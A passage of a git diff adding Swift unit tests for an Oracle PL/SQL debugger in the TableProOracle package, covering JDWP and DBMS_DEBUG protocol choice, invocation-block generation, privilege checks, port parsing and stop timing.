+ } + #expect(opened.withLock { $0 } == 0) + } +} diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugScriptedChannel.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugScriptedChannel.swift new file mode 100644 index 0000000000..a659604ea5 --- /dev/null +++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugScriptedChannel.swift @@ -0,0 +1,70 @@ +import Foundation +import os +@testable import TableProOracleCore + +// A database session that answers each statement through `respond` and records it as asked. Statements take turns on +// a gate as on `OracleCoreConnection`, so one that never returns holds up every later one. +final class ScriptedChannel: OracleDebugChannel, @unchecked Sendable { + private let gate = QueryGate() + private let asked = OSAllocatedUnfairLock(initialState: [String]()) + private let rows: [[OracleRawCell]] + private let respond: @Sendable (String) async throws -> [String?] + + init(rows: [[OracleRawCell]] = [], respond: @escaping @Sendable (String) async throws -> [String?] = { _ in [] }) { + self.rows = rows + self.respond = respond + } + + var sent: [String] { asked.withLock { $0 } } + + func executeDirect(_ sql: String, binds: [OracleBindValue], autoCommit: Bool, readsRows: Bool) async throws -> [String?] { + asked.withLock { $0.append(sql) } + await gate.acquire() + do { + let answer = try await respond(sql) + await gate.release() + return answer + } catch { + await gate.release() + throw error + } + } + + func executeQuery(_ query: String) async throws -> OracleRawResult { + asked.withLock { $0.append(query) } + return OracleRawResult(columns: [], rows: rows, affectedRows: 0, isTruncated: false) + } + + func cancelCurrentQuery() {} +} + +final class Latch: Sendable { + private let state = OSAllocatedUnfairLock(initialState: (isOpen: false, waiters: [CheckedContinuation]())) + + func wait() async { + await withCheckedContinuation { continuation in + let isOpen = state.withLock { current -> Bool in + if !current.isOpen { current.waiters.append(continuation) } + return current.isOpen + } + if isOpen { continuation.resume() } + } + } + + func open() { + let waiters = state.withLock { current -> [CheckedContinuation] in + current.isOpen = true + defer { current.waiters.removeAll() } + return current.waiters + } + for waiter in waiters { + waiter.resume() + } + } +} + +// Nil when `body` has not returned within `seconds`, so a call that hangs fails its test instead of the whole run. +func finished(within seconds: Double, _ body: @escaping @Sendable () async throws -> T) async -> T? { + let task = Task { try? await body() } + return await OracleDebugSupport.value(of: task, within: seconds) ?? nil +} diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugSessionReservationTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugSessionReservationTests.swift new file mode 100644 index 0000000000..2ada5c365d --- /dev/null +++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugSessionReservationTests.swift @@ -0,0 +1,43 @@ +import Foundation +@testable import TableProOracleCore +import Testing + +// A debug target is a statement paused at a breakpoint for as long as a person reads it. The health check's +// staleness limit would close it after 300 seconds, and a query timeout sooner. +struct OracleDebugSessionReservationTests { + private func connection() -> OracleCoreConnection { + OracleCoreConnection(options: OracleConnectionOptions(host: "127.0.0.1", user: "probe", password: "probe_pw")) + } + + @Test func testAnOrdinarySessionKeepsTheStalenessLimit() { + let session = connection() + #expect(session.wedgedStatementLimit == .seconds(300)) + session.applyQueryTimeout(600) + #expect(session.wedgedStatementLimit == .seconds(600)) + } + + @Test func testADebugSessionHasNoStalenessLimitAndIgnoresQueryTimeouts() { + let session = connection() + session.applyQueryTimeout(600) + session.reserveForDebugging() + #expect(session.isReservedForDebugging) + #expect(session.wedgedStatementLimit == nil) + session.applyQueryTimeout(30) + #expect(session.wedgedStatementLimit == nil) + } + + @Test func testABusyDebugSessionIsAlwaysReportedAlive() { + #expect(OraclePingDecision.of(.busy(for: .seconds(86_400)), wedgedAfter: nil) == .reportAlive) + #expect(OraclePingDecision.of(.acquired, wedgedAfter: nil) == .probe) + #expect(OraclePingDecision.of(.busy(for: .seconds(301)), wedgedAfter: .seconds(300)) == .reportWedged) + } + + // A reserved session never redials: a new session would not be the one being debugged. + @Test func testADebugSessionWithoutAChannelDoesNotRedial() async { + let session = connection() + session.reserveForDebugging() + await #expect(throws: OracleCoreError.notConnected) { + _ = try await session.executeDirect("ROLLBACK") + } + } +} diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugStatementsTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugStatementsTests.swift new file mode 100644 index 0000000000..c776df8747 --- /dev/null +++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugStatementsTests.swift @@ -0,0 +1,297 @@ +import Foundation +@testable import TableProOracleCore +import Testing + +struct OracleDebugStatementsTests { + private let body = OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody) + + @Test func testPayloadRoundTripsNullsEmptyTextAndWideCharacters() throws { + let fields: [String?] = [nil, "", "12:34", "Tiếng Việt 🇻🇳", "~", "a\nb"] + let encoded = OracleDebugPayload.encode(fields) + #expect(try OracleDebugPayload.parse(encoded) == fields) + #expect(try OracleDebugPayload.parse(OracleDebugPayload.join(pieces: [String(encoded.prefix(7)), nil, String(encoded.dropFirst(7))])) + == fields) + } + + @Test func testAMalformedPayloadThrows() { + #expect(throws: OracleDebugPayload.ParseError.self) { try OracleDebugPayload.parse("5:abc") } + #expect(throws: OracleDebugPayload.ParseError.self) { try OracleDebugPayload.parse("x") } + } + + // Measured: level 2 with PLSQL_DEBUG FALSE answers SET_BREAKPOINT with success and never stops. + @Test func testReadinessFollowsTheMeasuredSettings() { + #expect(OracleDebugStatements.readiness(fromRow: ["2", "TRUE"]) == .ready) + #expect(OracleDebugStatements.readiness(fromRow: ["1", "FALSE"]) == .ready) + #expect(OracleDebugStatements.readiness(fromRow: ["0", "FALSE"]) == .ready) + #expect(OracleDebugStatements.readiness(fromRow: ["2", "FALSE"]) == .needsDebugCompile) + #expect(OracleDebugStatements.readiness(fromRow: nil) == .notVisible) + } + + @Test func testReadinessAsksForTheBodyOfAPackage() { + let spec = OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .package) + #expect(OracleDebugStatements.readiness(of: spec).contains("TYPE = 'PACKAGE BODY'")) + #expect(OracleDebugStatements.readiness(of: spec).contains("FROM SYS.ALL_PLSQL_OBJECT_SETTINGS")) + } + + @Test func testMissingPrivilegesNameTheGrant() { + #expect(OracleDebugStatements.missingPrivilege(fromRow: ["PROBE", "0", "0", "0"], unit: body) + == .debugConnectSession(user: "PROBE")) + #expect(OracleDebugStatements.missingPrivilege(fromRow: ["PROBE", "1", "0", "0"], unit: body) == nil) + #expect(OracleDebugStatements.missingPrivilege(fromRow: ["NOACL", "1", "0", "0"], unit: body) + == .debugOnObject(user: "NOACL")) + #expect(OracleDebugStatements.missingPrivilege(fromRow: ["NOACL", "1", "0", "1"], unit: body) == nil) + #expect(OracleDebugStatements.missingPrivilege(fromRow: ["NOACL", "1", "1", "0"], unit: body) == nil) + } + + @Test func testEntryPointsGroupOverloadsAndReadTheResult() { + let rows: [[String?]] = [ + ["ADD_TAX", "1", "1", "0", nil, "NUMBER", "OUT", "N", nil, nil, nil, nil], + ["ADD_TAX", "1", "1", "1", "P_AMOUNT", "NUMBER", "IN", "N", nil, nil, nil, nil], + ["ADD_TAX", "2", "2", "0", nil, "NUMBER", "OUT", "N", nil, nil, nil, nil], + ["ADD_TAX", "2", "2", "1", "P_AMOUNT", "NUMBER", "IN", "N", nil, nil, nil, nil], + ["ADD_TAX", "2", "2", "2", "P_RATE", "NUMBER", "IN", "N", nil, nil, nil, nil], + ["RUN", "3", nil, "1", "P_N", "BINARY_INTEGER", "IN", "N", nil, nil, nil, "PLS_INTEGER"], + ["RESET", "4", nil, nil, nil, nil, nil, nil, nil, nil, nil, nil] + ] + let entries = OracleDebugStatements.parseEntryPoints(rows: rows, unit: body) + #expect(entries.map(\.displayName) == [ + "ADD_TAX(P_AMOUNT NUMBER) RETURN NUMBER", + "ADD_TAX(P_AMOUNT NUMBER, P_RATE NUMBER) RETURN NUMBER", + "RUN(P_N PLS_INTEGER)", + "RESET" + ]) + #expect(entries[1].entry.identity == "PACKAGE BODY/PROBE/PKG_CALC/ADD_TAX/2") + #expect(entries[3].parameters.isEmpty && entries[3].result == nil) + } + + @Test func testInvocationNamesArgumentsAndLeavesDefaultsOut() throws { + let entry = OracleDebugEntryPoint( + entry: OracleDebugEntry(unit: OracleDebugUnit(owner: "PROBE", name: "F_CALC", kind: .function), subprogram: "F_CALC", subprogramID: 1), + overload: nil, + parameters: [ + OracleDebugParameter(name: "P_A", position: 1, dataType: "NUMBER", mode: .input, hasDefault: false), + OracleDebugParameter(name: "P_B", position: 2, dataType: "VARCHAR2", mode: .input, hasDefault: true), + OracleDebugParameter(name: "P_FLAG", position: 3, dataType: "PL/SQL BOOLEAN", mode: .input, hasDefault: true) + ], + result: OracleDebugParameter(name: "", position: 0, dataType: "NUMBER", mode: .output, hasDefault: false) + ) + let invocation = try OracleDebugStatements.invocation( + of: entry, + arguments: ["P_A": .text("21"), "P_B": .defaultValue, "P_FLAG": .text("false")] + ) + #expect(invocation.binds == [.text("21"), .text("false")]) + #expect(invocation.block.contains(" l_arg1 NUMBER;")) + #expect(invocation.block.contains(" l_arg3 BOOLEAN;")) + #expect(invocation.block.contains(" l_arg1 := TO_NUMBER(:1);")) + #expect(invocation.block.contains(" l_arg3 := CASE UPPER(TRIM(:2)) WHEN 'TRUE' THEN TRUE")) + #expect(invocation.block.contains("l_result := \"PROBE\".\"F_CALC\"(\"P_A\" => l_arg1, \"P_FLAG\" => l_arg3);")) + #expect(!invocation.block.contains("\"P_B\"")) + #expect(invocation.block.contains("put('F_CALC');")) + #expect(invocation.block.contains("OPEN :rows FOR")) + } + + @Test func testOutParametersAreDeclaredPassedAndReported() throws { + let entry = OracleDebugEntryPoint( + entry: OracleDebugEntry(unit: OracleDebugUnit(owner: "PROBE", name: "P_WRITE", kind: .procedure), subprogram: "P_WRITE", subprogramID: 1), + overload: nil, + parameters: [ + OracleDebugParameter(name: "P_NOTE", position: 1, dataType: "VARCHAR2", mode: .input, hasDefault: false), + OracleDebugParameter(name: "P_COUNT", position: 2, dataType: "NUMBER", mode: .output, hasDefault: false), + OracleDebugParameter(name: "P_ROW", position: 3, dataType: "PL/SQL RECORD", mode: .inputOutput, hasDefault: false, + typeOwner: "PROBE", typeName: "PKG", typeSubname: "REC_T") + ], + result: nil + ) + let invocation = try OracleDebugStatements.invocation(of: entry, arguments: ["P_NOTE": .null, "P_ROW": .null]) + #expect(invocation.binds.isEmpty) + #expect(invocation.block.contains("l_arg1 VARCHAR2(32767);")) + #expect(invocation.block.contains("l_arg2 NUMBER;")) + #expect(invocation.block.contains("l_arg3 \"PROBE\".\"PKG\".\"REC_T\";")) + #expect(invocation.block.contains("\"PROBE\".\"P_WRITE\"(\"P_NOTE\" => l_arg1, \"P_COUNT\" => l_arg2, \"P_ROW\" => l_arg3);")) + #expect(!invocation.block.contains("=> NULL")) + #expect(invocation.block.contains("put('1');")) + #expect(invocation.block.contains("put(TO_CHAR(l_arg2));")) + } + + // Two overloads that differ only in the type of P_X: the typed local is what makes Oracle pick the chosen one. + @Test func testEachOverloadIsCalledWithItsOwnTypes() throws { + func overload(_ id: Int, _ type: String) -> OracleDebugEntryPoint { + OracleDebugEntryPoint( + entry: OracleDebugEntry(unit: OracleDebugUnit(owner: "PROBE", name: "PKG_OVER", kind: .packageBody), subprogram: "SHOW", subprogramID: id), + overload: String(id), + parameters: [OracleDebugParameter(name: "P_X", position: 1, dataType: type, mode: .input, hasDefault: false)], + result: nil + ) + } + let number = try OracleDebugStatements.invocation(of: overload(1, "NUMBER"), arguments: ["P_X": .text("5")]) + #expect(number.block.contains(" l_arg1 NUMBER;")) + #expect(number.block.contains(" l_arg1 := TO_NUMBER(:1);")) + #expect(number.block.contains("\"PROBE\".\"PKG_OVER\".\"SHOW\"(\"P_X\" => l_arg1);")) + let text = try OracleDebugStatements.invocation(of: overload(2, "VARCHAR2"), arguments: ["P_X": .text("5")]) + #expect(text.block.contains(" l_arg1 VARCHAR2(32767);")) + #expect(text.block.contains(" l_arg1 := :1;")) + let null = try OracleDebugStatements.invocation(of: overload(2, "VARCHAR2"), arguments: ["P_X": .null]) + #expect(null.block.contains(" l_arg1 VARCHAR2(32767);")) + #expect(!null.block.contains("l_arg1 :=")) + #expect(null.block.contains("(\"P_X\" => l_arg1);")) + } + + @Test func testDateLikeTextConvertsExplicitly() throws { + let entry = OracleDebugEntryPoint( + entry: OracleDebugEntry(unit: OracleDebugUnit(owner: "PROBE", name: "P", kind: .procedure), subprogram: "P", subprogramID: 1), + overload: nil, + parameters: [ + OracleDebugParameter(name: "P_D", position: 1, dataType: "DATE", mode: .input, hasDefault: false), + OracleDebugParameter(name: "P_T", position: 2, dataType: "TIMESTAMP WITH TIME ZONE", mode: .input, hasDefault: false), + OracleDebugParameter(name: "P_I", position: 3, dataType: "INTERVAL DAY TO SECOND", mode: .input, hasDefault: false), + OracleDebugParameter(name: "P_N", position: 4, dataType: "BINARY_INTEGER", mode: .input, hasDefault: false, plsType: "PLS_INTEGER") + ], + result: nil + ) + let invocation = try OracleDebugStatements.invocation( + of: entry, + arguments: ["P_D": .text("2024-01-02"), "P_T": .text("x"), "P_I": .text("+00 01:00:00"), "P_N": .text("3")] + ) + #expect(invocation.block.contains("l_arg1 := TO_DATE(:1);")) + #expect(invocation.block.contains("l_arg2 := TO_TIMESTAMP_TZ(:2);")) + #expect(invocation.block.contains("l_arg3 := TO_DSINTERVAL(:3);")) + #expect(invocation.block.contains("l_arg4 PLS_INTEGER;")) + } + + @Test func testTextCannotBePassedToACollection() { + let entry = OracleDebugEntryPoint( + entry: OracleDebugEntry(unit: OracleDebugUnit(owner: "PROBE", name: "P", kind: .procedure), subprogram: "P", subprogramID: 1), + overload: nil, + parameters: [OracleDebugParameter(name: "P_LIST", position: 1, dataType: "TABLE", mode: .input, hasDefault: false, + typeOwner: "PROBE", typeName: "NUM_LIST")], + result: nil + ) + #expect(throws: OracleDebugStatements.InvocationError.unsupportedArgument(name: "P_LIST", typeName: "PROBE.NUM_LIST")) { + try OracleDebugStatements.invocation(of: entry, arguments: ["P_LIST": .text("1,2")]) + } + } + + @Test func testInvocationReportReadsOutputsAndLines() throws { + let fields: [String?] = ["S", nil, "2", "F_CALC", "42", "P_COUNT", nil, "probe total=3.3", "second"] + let report = try OracleDebugStatements.invocationReport(fromPayload: fields) + #expect(report.succeeded) + #expect(report.outputs.map(\.name) == ["F_CALC", "P_COUNT"]) + #expect(report.outputs.map(\.value) == ["42", nil]) + #expect(report.lines == ["probe total=3.3", "second"]) + let failed = try OracleDebugStatements.invocationReport(fromPayload: ["F", "ORA-01476: divisor is equal to zero", "0"]) + #expect(!failed.succeeded) + #expect(failed.error == "ORA-01476: divisor is equal to zero") + } + + @Test func testSourceKeepsAllSourceLineNumbers() { + let text = OracleDebugStatements.assembleSource(rows: [ + (1, "package body pkg_calc as\n"), + (3, " function add_tax return number is\n"), + (2, " g_rate number := 0.1;\n"), + (5, "end pkg_calc;") + ]) + #expect(text == "package body pkg_calc as\n g_rate number := 0.1;\n function add_tax return number is\n\nend pkg_calc;") + } + + @Test func testSourceDropsCRLFEndingsAndKeepsEveryCharacter() { + let text = OracleDebugStatements.assembleSource(rows: [ + (1, "begin\r\n"), + (2, "\r\n"), + (3, " x := 1;\r\n"), + (4, "end;") + ]) + #expect(text == "begin\n\n x := 1;\nend;") + } + + // The messages measured on 23.26 for each way the database can fail to connect back. + @Test func testJDWPFailuresClassifyTheMeasuredErrors() { + #expect(OracleDebugStatements.jdwpFailure(fromMessage: """ + ORA-24247: network access denied by access control list (ACL) + ORA-06512: at "SYS.DBMS_DEBUG_JDWP", line 68 + """) == .accessControlList) + let refused = "ORA-30683: failure establishing connection to debugger\nORA-30698: network connection failed: connection refused" + #expect(OracleDebugStatements.jdwpFailure(fromMessage: refused) == .unreachable(refused)) + #expect(OracleDebugStatements.jdwpFailure(fromMessage: "ORA-01031: insufficient privileges\nORA-06512: at \"SYS.DBMS_DEBUG_JDWP\", line 68") + == .missingPrivilege) + #expect(OracleDebugStatements.jdwpFailure(fromMessage: "ORA-06576: not a valid function or procedure name: DBMS_DEBUG_JDWP") + == .packageUnavailable) + #expect(OracleDebugStatements.errorCodes(in: "ORA-30683: x\nORA-30698: y") == [30_683, 30_698]) + } + + @Test func testPortRanges() { + #expect(OracleDebugStatements.ports(from: "4000-4999") == 4_000...4_999) + #expect(OracleDebugStatements.ports(from: "4000 - 4999") == 4_000...4_999) + #expect(OracleDebugStatements.ports(from: " 15400 ") == 15_400...15_400) + #expect(OracleDebugStatements.ports(from: "5000-4000") == nil) + #expect(OracleDebugStatements.ports(from: "abc") == nil) + #expect(OracleDebugStatements.ports(from: "0") == nil) + #expect(OracleDebugStatements.ports(from: "4000-") == nil) + } + + // A DBA's ACEs for ports 4000 and 4005 are not the range between them: a list is refused, never read as 4000-4005. + @Test func testAPortListIsRefused() { + #expect(OracleDebugStatements.ports(from: "4000, 4005") == nil) + #expect(OracleDebugStatements.ports(from: "4000 4005") == nil) + #expect(OracleDebugStatements.ports(from: "4000-4005-4010") == nil) + } + + @Test func testABFILEPassesAsATypedNullAndRefusesText() throws { + let entry = OracleDebugEntryPoint( + entry: OracleDebugEntry(unit: OracleDebugUnit(owner: "PROBE", name: "P", kind: .procedure), subprogram: "P", subprogramID: 1), + overload: nil, + parameters: [OracleDebugParameter(name: "F", position: 1, dataType: "BFILE", mode: .input, hasDefault: false)], + result: nil + ) + let null = try OracleDebugStatements.invocation(of: entry, arguments: ["F": .null]) + #expect(null.block.contains(" l_arg1 BFILE;")) + #expect(null.block.contains("(\"F\" => l_arg1);")) + #expect(throws: OracleDebugStatements.InvocationError.unsupportedArgument(name: "F", typeName: "BFILE")) { + try OracleDebugStatements.invocation(of: entry, arguments: ["F": .text("x")]) + } + } + + // A type with no name to declare cannot be passed at all, not even as NULL. + @Test func testAnUndeclarableTypeIsToldApartFromText() { + let entry = OracleDebugEntryPoint( + entry: OracleDebugEntry(unit: OracleDebugUnit(owner: "PROBE", name: "P", kind: .procedure), subprogram: "P", subprogramID: 1), + overload: nil, + parameters: [OracleDebugParameter(name: "T", position: 1, dataType: "PL/SQL TABLE", mode: .input, hasDefault: false)], + result: nil + ) + #expect(throws: OracleDebugStatements.InvocationError.undeclarableArgument(name: "T", typeName: "PL/SQL TABLE")) { + try OracleDebugStatements.invocation(of: entry, arguments: ["T": .null]) + } + } + + @Test func testConnectBlockBindsHostAndPortThroughACall() { + #expect(OracleDebugStatements.jdwpConnect.contains("'CALL SYS.DBMS_DEBUG_JDWP.CONNECT_TCP(:1, :2)' USING :1, :2")) + } +} + +struct OracleDebugProtocolDecisionTests { + @Test func testTheFirstChoiceFollowsThePreferenceAndTheHost() { + #expect(OracleDebugProtocolDecision.initial(preference: .automatic, host: "192.168.1.20") == .jdwp) + #expect(OracleDebugProtocolDecision.initial(preference: .automatic, host: " ") == .dbmsDebug(.noDebuggerHost)) + #expect(OracleDebugProtocolDecision.initial(preference: .dbmsDebug, host: "192.168.1.20") == .dbmsDebug(.chosen)) + #expect(OracleDebugProtocolDecision.initial(preference: .jdwp, host: "192.168.1.20") == .jdwp) + // Behind a tunnel the host starts empty; explicit DBMS_DEBUG_JDWP is refused before any session opens. + #expect(OracleDebugProtocolDecision.initial(preference: .jdwp, host: " ") == .fail) + } + + @Test func testAutomaticFallsBackOnTheNetworkFailures() { + let fallsBack: [OracleJDWPFailure] = [ + .accessControlList, .unreachable("ORA-30683"), .packageUnavailable, .timedOut, .noFreePort, .handshakeFailed + ] + for failure in fallsBack { + #expect(OracleDebugProtocolDecision.afterJDWPFailure(failure, preference: .automatic) == .fallBack) + #expect(OracleDebugProtocolDecision.afterJDWPFailure(failure, preference: .jdwp) == .fail) + } + } + + // DBMS_DEBUG needs the same DEBUG CONNECT SESSION (ORA-01031 from both, measured). + @Test func testAPrivilegeOrUnknownFailureIsFinal() { + #expect(OracleDebugProtocolDecision.afterJDWPFailure(.missingPrivilege, preference: .automatic) == .fail) + #expect(OracleDebugProtocolDecision.afterJDWPFailure(.noDebuggerHost, preference: .automatic) == .fail) + #expect(OracleDebugProtocolDecision.afterJDWPFailure(.other("ORA-00600"), preference: .automatic) == .fail) + } +} diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugStopBudgetTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugStopBudgetTests.swift new file mode 100644 index 0000000000..5710e5e3bd --- /dev/null +++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugStopBudgetTests.swift @@ -0,0 +1,105 @@ +import Foundation +import os +@testable import TableProOracleCore +import Testing + +// A clock that moves only when a step says it took time. +private final class StepClock: Clock, @unchecked Sendable { + struct Instant: InstantProtocol { + var offset: Duration + + func advanced(by duration: Duration) -> Instant { Instant(offset: offset + duration) } + func duration(to other: Instant) -> Duration { other.offset - offset } + static func < (lhs: Instant, rhs: Instant) -> Bool { lhs.offset < rhs.offset } + } + + private let current = OSAllocatedUnfairLock(initialState: Instant(offset: .zero)) + + var now: Instant { current.withLock { $0 } } + var minimumResolution: Duration { .zero } + + func advance(by duration: Duration) { + current.withLock { $0 = $0.advanced(by: duration) } + } + + func sleep(until deadline: Instant, tolerance: Duration?) async throws { + current.withLock { $0 = max($0, deadline) } + } +} + +// The host closes the transport 5 s after asking for Stop, so a DBMS_DEBUG kill must be sent at once and everything +// after it fit in 3 s. +struct OracleDebugStopBudgetTests { + @Test func testTheKillGoesFirstAndTheRestWaitsForTheEnd() async { + let clock = StepClock() + let order = OSAllocatedUnfairLock(initialState: [String]()) + let ended = await OracleDebugStopBudget.endRunningTarget(clock: clock) { + order.withLock { $0.append("kill at \(clock.now.offset)") } + clock.advance(by: .milliseconds(300)) + return .marked + } waitForEnd: { remaining in + order.withLock { $0.append("wait \(remaining)") } + return true + } + #expect(ended) + #expect(order.withLock { $0 } == ["kill at 0.0 seconds", "wait 2.2 seconds"]) + } + + // Without ALTER SYSTEM the routine may still reach its end or a breakpoint, but only inside the budget. + @Test func testARefusedKillWaitsOnlyForWhatIsLeft() async { + let clock = StepClock() + let waited = OSAllocatedUnfairLock(initialState: nil) + let ended = await OracleDebugStopBudget.endRunningTarget(clock: clock) { + clock.advance(by: .milliseconds(100)) + return .refused + } waitForEnd: { remaining in + waited.withLock { $0 = remaining } + clock.advance(by: remaining) + return false + } + #expect(!ended) + #expect(waited.withLock { $0 } == .milliseconds(2_400)) + #expect(clock.now.offset <= OracleDebugStopBudget.total) + } + + @Test func testAKillThatUsedTheBudgetDoesNotWait() async { + let clock = StepClock() + let waited = OSAllocatedUnfairLock(initialState: false) + let ended = await OracleDebugStopBudget.endRunningTarget(clock: clock) { + clock.advance(by: .seconds(3)) + return .marked + } waitForEnd: { _ in + waited.withLock { $0 = true } + return true + } + #expect(!ended) + #expect(!waited.withLock { $0 }) + } + + // ORA-00028 is how a killed target's call fails (measured); a transport the connection lost, or never had, says + // nothing about the server session. + @Test func testOnlyTheServersAnswerProvesTheCallEnded() { + let answered: [Result<[String?], Error>] = [ + .success([]), + .failure(OracleCoreError.queryFailed("ORA-00028: your session has been killed")), + .failure(OracleDebugError.server(code: 6_543, message: "ORA-06543")) + ] + let unanswered: [Result<[String?], Error>] = [ + .failure(OracleCoreError.connectionClosed), + .failure(OracleCoreError.notConnected), + .failure(OracleCoreError.protocolError), + .failure(OracleCoreError.queryFailed(String(format: OracleCoreError.driverErrorFormat, "uncleanShutdown"))), + .failure(OracleCoreError.queryFailed("IOError: Connection reset by peer (errno: 54)")), + .failure(CancellationError()) + ] + #expect(answered.map { OracleDebugSupport.endedOnServer($0) } == [true, true, true]) + #expect(unanswered.map { OracleDebugSupport.endedOnServer($0) } == Array(repeating: false, count: 6)) + } + + // The kill can wait one supervisor poll on the gate; that and the cleanup still leave time to see the end. + @Test func testTheSupervisorPollFitsInsideTheBudget() { + let poll = Duration.seconds(OracleDBMSDebugStatements.supervisorTimeoutSeconds) + #expect(poll + OracleDebugStopBudget.cleanup < OracleDebugStopBudget.total) + #expect(OracleDebugStopBudget.total <= .seconds(3)) + } +} diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugUnitTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugUnitTests.swift new file mode 100644 index 0000000000..b594811d3e --- /dev/null +++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugUnitTests.swift @@ -0,0 +1,73 @@ +import Foundation +@testable import TableProOracleCore +import Testing + +struct OracleDebugUnitTests { + @Test func testMeasuredClassSignaturesMapToUnits() { + #expect(OracleDebugUnit(jdwpSignature: "L$Oracle/PackageBody/PROBE/PKG_CALC;") + == OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody)) + #expect(OracleDebugUnit(jdwpSignature: "L$Oracle/Package/PROBE/PKG_CALC;") + == OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .package)) + #expect(OracleDebugUnit(jdwpSignature: "L$Oracle/Procedure/PROBE/P_WRITE;") + == OracleDebugUnit(owner: "PROBE", name: "P_WRITE", kind: .procedure)) + #expect(OracleDebugUnit(jdwpSignature: "L$Oracle/Function/PROBE/F_CALC;") + == OracleDebugUnit(owner: "PROBE", name: "F_CALC", kind: .function)) + } + + @Test func testBlocksBuiltinsAndLocalTypesAreNotUnits() { + #expect(OracleDebugUnit(jdwpSignature: "L$Oracle/Block/PROBE/B5b7fkkBPUBJ4f33OXgisXQ;") == nil) + #expect(OracleDebugUnit.isAnonymousBlock(jdwpSignature: "L$Oracle/Block/PROBE/B5b7fkkBPUBJ4f33OXgisXQ;")) + #expect(OracleDebugUnit(jdwpSignature: "L$Oracle/Builtin/NUMBER;") == nil) + #expect(OracleDebugUnit(jdwpSignature: "L$Oracle/Function/PROBE/F_CALC/F_CALC/T_NUMS;") == nil) + #expect(OracleDebugUnit(jdwpSignature: "Ljava/lang/String;") == nil) + } + + @Test func testUnitsMapBackToClassMatchPatterns() { + let unit = OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody) + #expect(unit.jdwpClassName == "$Oracle/PackageBody/PROBE/PKG_CALC") + #expect(unit.jdwpSignature == "L$Oracle/PackageBody/PROBE/PKG_CALC;") + #expect(OracleDebugUnit(jdwpSignature: unit.jdwpSignature) == unit) + } + + @Test func testIdentityRoundTripsNamesHoldingSlashesAndPercents() { + let unit = OracleDebugUnit(owner: "A/B%", name: "x/y%2F", kind: .packageBody) + #expect(unit.identity == "PACKAGE BODY/A%2FB%25/x%2Fy%252F") + #expect(OracleDebugUnit(identity: unit.identity) == unit) + #expect(OracleDebugUnit(identity: "VIEW/PROBE/V") == nil) + } + + @Test func testEntryIdentityCarriesTheSubprogramAndItsID() { + let entry = OracleDebugEntry( + unit: OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody), + subprogram: "ADD_TAX", + subprogramID: 2 + ) + #expect(entry.identity == "PACKAGE BODY/PROBE/PKG_CALC/ADD_TAX/2") + #expect(OracleDebugEntry(identity: entry.identity) == entry) + #expect(entry.isPackaged) + } + + @Test func testCompileForDebugKeepsSettingsAndQuotesNames() { + #expect(OracleDebugUnitKind.packageBody.compileForDebugStatement(owner: "PROBE", name: "PKG_CALC") + == "ALTER PACKAGE \"PROBE\".\"PKG_CALC\" COMPILE BODY PLSQL_OPTIMIZE_LEVEL=1 REUSE SETTINGS") + #expect(OracleDebugUnitKind.procedure.compileForDebugStatement(owner: "PROBE", name: "P\"Q") + == "ALTER PROCEDURE \"PROBE\".\"P\"\"Q\" COMPILE PLSQL_OPTIMIZE_LEVEL=1 REUSE SETTINGS") + #expect(OracleDebugUnitKind.function.compileForDebugStatement(owner: "PROBE", name: "F_CALC") + == "ALTER FUNCTION \"PROBE\".\"F_CALC\" COMPILE PLSQL_OPTIMIZE_LEVEL=1 REUSE SETTINGS") + } + + @Test func testDBMSDebugNamespacesAndLibunitTypes() { + #expect(OracleDebugUnitKind(namespace: 2, libunitType: 11) == .packageBody) + #expect(OracleDebugUnitKind(namespace: 1, libunitType: 7) == .procedure) + #expect(OracleDebugUnitKind(namespace: 1, libunitType: 8) == .function) + #expect(OracleDebugUnitKind(namespace: 1, libunitType: 9) == .package) + #expect(OracleDebugUnitKind(namespace: 0, libunitType: 0) == nil) + #expect(OracleDebugUnitKind.packageBody.namespace == 2) + #expect(OracleDebugUnitKind.function.namespace == 1) + } + + @Test func testTypeNamesComeFromSignatures() { + #expect(OracleDebugUnit.typeName(fromJDWPSignature: "L$Oracle/Builtin/NUMBER;") == "NUMBER") + #expect(OracleDebugUnit.typeName(fromJDWPSignature: "L$Oracle/Function/PROBE/F_CALC/F_CALC/T_REC;") == "T_REC") + } +} diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPBreakpointTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPBreakpointTests.swift new file mode 100644 index 0000000000..326e2ebf85 --- /dev/null +++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPBreakpointTests.swift @@ -0,0 +1,194 @@ +import Foundation +import os +@testable import TableProOracleCore +import Testing + +struct OracleJDWPBreakpointTests { + private static let calcBody = OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody) + + // A VM whose PKG_CALC body has one method, RUN, with code on `lines`; the unit counts as loaded once `isLoaded` + // says so. Records the request id it gave each breakpoint, by code index, which is the line. + private final class VM: @unchecked Sendable { + private struct State { + var isLoaded: Bool + var refusesNextClear = false + var nextRequest: Int32 = 0 + var breakpoints: [Int64: Int32] = [:] + } + + private let state: OSAllocatedUnfairLock + private let 